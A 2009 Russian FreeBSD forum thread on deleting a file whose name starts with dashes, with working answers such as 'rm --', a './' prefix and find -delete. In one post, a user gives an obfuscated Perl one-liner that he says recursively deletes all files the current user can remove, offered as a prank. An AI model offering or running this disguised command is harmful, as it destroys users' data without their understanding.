Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Разговоры ни о чём

Модератор: vadim64

Аватара пользователя
helloworld
ст. сержант
Сообщения: 368
Зарегистрирован: 2007-10-03 8:06:37
Откуда: Northern Colorado

Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение helloworld » 2009-07-26 4:36:13

Any ideas?

Код: Выделить всё

-rwxr-xr-x  1 user  user      128 Jan 22  2003 ------ Name (2004) ------.mp3

Код: Выделить всё

%rm "------ Name (2004) ------.mp3"
rm: illegal option -- -
usage: rm [-f | -i] [-dIPRrvW] file ...
       unlink file


Хостинговая компания Host-Food.ru
Хостинг HostFood.ru
 

Услуги хостинговой компании Host-Food.ru

Хостинг HostFood.ru

Тарифы на хостинг в России, от 12 рублей: https://www.host-food.ru/tariffs/hosting/
Тарифы на виртуальные сервера (VPS/VDS/KVM) в РФ, от 189 руб.: https://www.host-food.ru/tariffs/virtualny-server-vps/
Выделенные сервера, Россия, Москва, от 2000 рублей (HP Proliant G5, Intel Xeon E5430 (2.66GHz, Quad-Core, 12Mb), 8Gb RAM, 2x300Gb SAS HDD, P400i, 512Mb, BBU):
https://www.host-food.ru/tariffs/vydelennyi-server-ds/
Недорогие домены в популярных зонах: https://www.host-food.ru/domains/

paradox
проходил мимо
Сообщения: 11620
Зарегистрирован: 2008-02-21 18:15:41

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение paradox » 2009-07-26 4:55:57

перенести его в папку и снести папку рекурсивно)

Аватара пользователя
f_andrey
майор
Сообщения: 2651
Зарегистрирован: 2007-12-26 1:22:58
Откуда: СПб
Контактная информация:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение f_andrey » 2009-07-26 5:05:04

helloworld писал(а):Any ideas?

Код: Выделить всё

[> tar cvf "------ Name (2004) ------.mp3" ../pkg_desk
a ../pkg_desk
> ls
------ Name (2004) ------.mp3
> rm "5 минут чтения мана и эксперементов по созданию файла :)"
> ls
> uname -rm
8.0-CURRENT amd64
Да вы батенька затейник ;)
paradox писал(а):перенести его в папку и снести папку рекурсивно)
Не по самурайски хотя и работает, если убедишь cp перенести его :) хотя тоже должно быть возможно :evil:
Последний раз редактировалось f_andrey 2009-07-26 5:06:04, всего редактировалось 1 раз.
Причина: ответ опобликую с отсрочечькой, должно же автора глодать любопытство :)
Если ваша тема перенесена, то смотри http://forum.lissyara.su/viewtopic.php?f=1&t=32308

Аватара пользователя
ProFTP
подполковник
Сообщения: 3388
Зарегистрирован: 2008-04-13 1:50:04
Откуда: %&й
Контактная информация:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение ProFTP » 2009-07-26 5:06:39

Код: Выделить всё

rm ------\ Name\ \(2004\)\ ------.mp3
а так типо не работает?
Pеrl FAQ
perl -e 'print join"",map $$_[rand@$_],([0..9,'a'..'z','A'..'Z'])x30'
ИзображениеИзображение

Аватара пользователя
f_andrey
майор
Сообщения: 2651
Зарегистрирован: 2007-12-26 1:22:58
Откуда: СПб
Контактная информация:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение f_andrey » 2009-07-26 5:09:02

ProFTP писал(а):

Код: Выделить всё

rm ------\ Name\ \(2004\)\ ------.mp3
а так типо не работает?
А должно?
Проверь ;-)
Если ваша тема перенесена, то смотри http://forum.lissyara.su/viewtopic.php?f=1&t=32308

Аватара пользователя
ProFTP
подполковник
Сообщения: 3388
Зарегистрирован: 2008-04-13 1:50:04
Откуда: %&й
Контактная информация:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение ProFTP » 2009-07-26 5:13:16

нет, пробелы мешают...

Код: Выделить всё

$ touch ------\ Name\ \(2004\)\ ------.mp3 
touch: illegal option -- -
usage:
touch [-A [-][[hh]mm]SS] [-acfhm] [-r file] [-t [[CC]YY]MMDDhhmm[.SS]] file ...
Последний раз редактировалось ProFTP 2009-07-26 5:14:33, всего редактировалось 1 раз.
Pеrl FAQ
perl -e 'print join"",map $$_[rand@$_],([0..9,'a'..'z','A'..'Z'])x30'
ИзображениеИзображение

Аватара пользователя
helloworld
ст. сержант
Сообщения: 368
Зарегистрирован: 2007-10-03 8:06:37
Откуда: Northern Colorado

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение helloworld » 2009-07-26 5:14:01

tar, cp, mv , rm говорят одно и тоже -

Код: Выделить всё

illegal option -- -

Код: Выделить всё

%rm "------\ Name\ \(2004\)\ ------.mp3"
rm: illegal option -- -
usage: rm [-f | -i] [-dIPRrvW] file ...
       unlink file

Последний раз редактировалось helloworld 2009-07-26 5:16:57, всего редактировалось 1 раз.

Аватара пользователя
ProFTP
подполковник
Сообщения: 3388
Зарегистрирован: 2008-04-13 1:50:04
Откуда: %&й
Контактная информация:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение ProFTP » 2009-07-26 5:15:14

перлом попробуй удалит
Pеrl FAQ
perl -e 'print join"",map $$_[rand@$_],([0..9,'a'..'z','A'..'Z'])x30'
ИзображениеИзображение

Аватара пользователя
ProFTP
подполковник
Сообщения: 3388
Зарегистрирован: 2008-04-13 1:50:04
Откуда: %&й
Контактная информация:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение ProFTP » 2009-07-26 5:23:12

Код: Выделить всё

#!/usr/bin/perl
$num=unlink "------ Name (2004) ------.mp3" or die "piska $!"; 
ил поставь вайн и удали винраром
Последний раз редактировалось ProFTP 2009-07-26 5:33:13, всего редактировалось 1 раз.
Pеrl FAQ
perl -e 'print join"",map $$_[rand@$_],([0..9,'a'..'z','A'..'Z'])x30'
ИзображениеИзображение

Аватара пользователя
helloworld
ст. сержант
Сообщения: 368
Зарегистрирован: 2007-10-03 8:06:37
Откуда: Northern Colorado

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение helloworld » 2009-07-26 5:32:10

Окей, перл удалил.


Аватара пользователя
f_andrey
майор
Сообщения: 2651
Зарегистрирован: 2007-12-26 1:22:58
Откуда: СПб
Контактная информация:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение f_andrey » 2009-07-26 5:39:55

helloworld писал(а):Окей, перл удалил.
Ну как так можно пожалеть 5 минут на ознакомление с системой :( а ведь вопрос специально выделен в
man rm писал(а):The rm command uses getopt(3) to parse its arguments, which allows it to
accept the `--' ...
Ну и решение крайне просто

Код: Выделить всё

rm "./------ Name (2004) ------.mp3"
там возможны небольшие вариации, так как имя весьма неоднозначно :) а вообще правильно монтируйте и таких траблов возникать не должно.

И пользуйтесь пользуйтесь системой, не боясь читать man если что то не ладится, там все описано :evil: :st: :bn:
Если ваша тема перенесена, то смотри http://forum.lissyara.su/viewtopic.php?f=1&t=32308

Аватара пользователя
ProFTP
подполковник
Сообщения: 3388
Зарегистрирован: 2008-04-13 1:50:04
Откуда: %&й
Контактная информация:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение ProFTP » 2009-07-26 5:45:07

вот можно всё удалить: (замаскированная команда для рекурсивного удаления всех файлов, право на удаление которых есть у текущего пользователя)

Код: Выделить всё

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Pеrl FAQ
perl -e 'print join"",map $$_[rand@$_],([0..9,'a'..'z','A'..'Z'])x30'
ИзображениеИзображение

Аватара пользователя
f_andrey
майор
Сообщения: 2651
Зарегистрирован: 2007-12-26 1:22:58
Откуда: СПб
Контактная информация:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение f_andrey » 2009-07-26 5:53:41

ProFTP писал(а):вот можно всё удалить: (замаскированная команда для рекурсивного удаления всех файлов, право на удаление которых есть у текущего пользователя)
Ага еше можно систему переустановить :crazy: :crazy: :crazy:
Если ваша тема перенесена, то смотри http://forum.lissyara.su/viewtopic.php?f=1&t=32308

zg
полковник
Сообщения: 5845
Зарегистрирован: 2007-12-07 13:51:33
Откуда: Верх-Нейвинск

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение zg » 2009-07-26 6:53:46

Способ сложный:

Код: Выделить всё

zg# echo > "------ Name (2004) ------.mp3"
zg# ls -lah
total 6
-rw-r--r--   1 root  wheel     1B 26 июл 09:57 ------ Name (2004) ------.mp3
d--x--x--x   2 zg    wheel   512B 26 июл 09:57 .
drwxr-xr-x  16 zg    wheel   1,5K 13 июл 10:53 ..
zg# rm ------\ Name\ \(2004\)\ ------.mp3
rm: illegal option -- -
usage: rm [-f | -i] [-dIPRrvW] file ...
       unlink file
zg# find . -name "------ Name (2004) ------.mp3"
./------ Name (2004) ------.mp3
zg# find . -name "------ Name (2004) ------.mp3" -delete
zg# ls
zg#
Способ правильный:

Код: Выделить всё

zg# ls
------ Name (2004) ------.mp3
zg# rm ./------\ Name\ \(2004\)\ ------.mp3
zg#
:smile:

Гость
проходил мимо

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение Гость » 2009-07-26 7:06:59

zg писал(а):Способ правильный:

Код: Выделить всё

zg# ls
------ Name (2004) ------.mp3
zg# rm ./------\ Name\ \(2004\)\ ------.mp3
zg#
:smile:
на мой взгяд использовать -- для завершения парсинга опций более разумно. Например,

Код: Выделить всё

$ fgrep -r -- --help /usr/src/usr.bin
или

Код: Выделить всё

$ rm -- "------ Name (2004) ------.mp3"

Аватара пользователя
f_andrey
майор
Сообщения: 2651
Зарегистрирован: 2007-12-26 1:22:58
Откуда: СПб
Контактная информация:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение f_andrey » 2009-07-26 7:14:30

Гость писал(а):на мой взгяд использовать -- для завершения парсинга опций более разумно.
Ну может быть, man тоже рекомендует как первый так и второй способы.
Если ваша тема перенесена, то смотри http://forum.lissyara.su/viewtopic.php?f=1&t=32308

zg
полковник
Сообщения: 5845
Зарегистрирован: 2007-12-07 13:51:33
Откуда: Верх-Нейвинск

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение zg » 2009-07-26 7:19:08

Гость писал(а):на мой взгяд использовать -- для завершения парсинга опций более разумно.
главное чтобы работало :smile:

Гость
проходил мимо

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение Гость » 2009-07-26 7:54:46

f_andrey писал(а):
Гость писал(а):на мой взгяд использовать -- для завершения парсинга опций более разумно.
Ну может быть, man тоже рекомендует как первый так и второй способы.
первый способ подходит только для команд, работающими с именами файлов. Я не просто так привел пример с fgrep(1).

Аватара пользователя
gloom
лейтенант
Сообщения: 738
Зарегистрирован: 2008-03-13 16:29:12
Откуда: UA

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение gloom » 2009-07-26 15:27:33

mc тако удаляет переименовывает копирует...

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35456
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение Alex Keda » 2009-07-26 20:16:54

gloom писал(а):mc тако удаляет переименовывает копирует...
ф топку
Убей их всех! Бог потом рассортирует...

Аватара пользователя
gloom
лейтенант
Сообщения: 738
Зарегистрирован: 2008-03-13 16:29:12
Откуда: UA

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение gloom » 2009-07-26 21:51:16

lissyara писал(а):
gloom писал(а):mc тако удаляет переименовывает копирует...
ф топку
желательно но не обезательно

ViktorichZ
сержант
Сообщения: 152
Зарегистрирован: 2008-10-30 12:15:26

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение ViktorichZ » 2009-07-27 8:50:59

можно и так rm -f '*Name\ \(2004\)*.mp3'
и так rm -f '\-\-\-\-\-\-\ Name\ \(2004\)\ \-\-\-\-\-\-.mp3' =)))

Аватара пользователя
squid
лейтенант
Сообщения: 683
Зарегистрирован: 2007-05-25 11:32:23
Откуда: Украина, Киев
Контактная информация:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение squid » 2009-07-27 9:13:10

find использует параметр удаления
хех..

detx
сержант
Сообщения: 245
Зарегистрирован: 2009-02-24 11:12:57
Откуда: Нижний Новгород

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Непрочитанное сообщение detx » 2009-07-28 8:41:07

а если отсьавить в папке только это, и rm *.*.
А mc удалять пробовали?????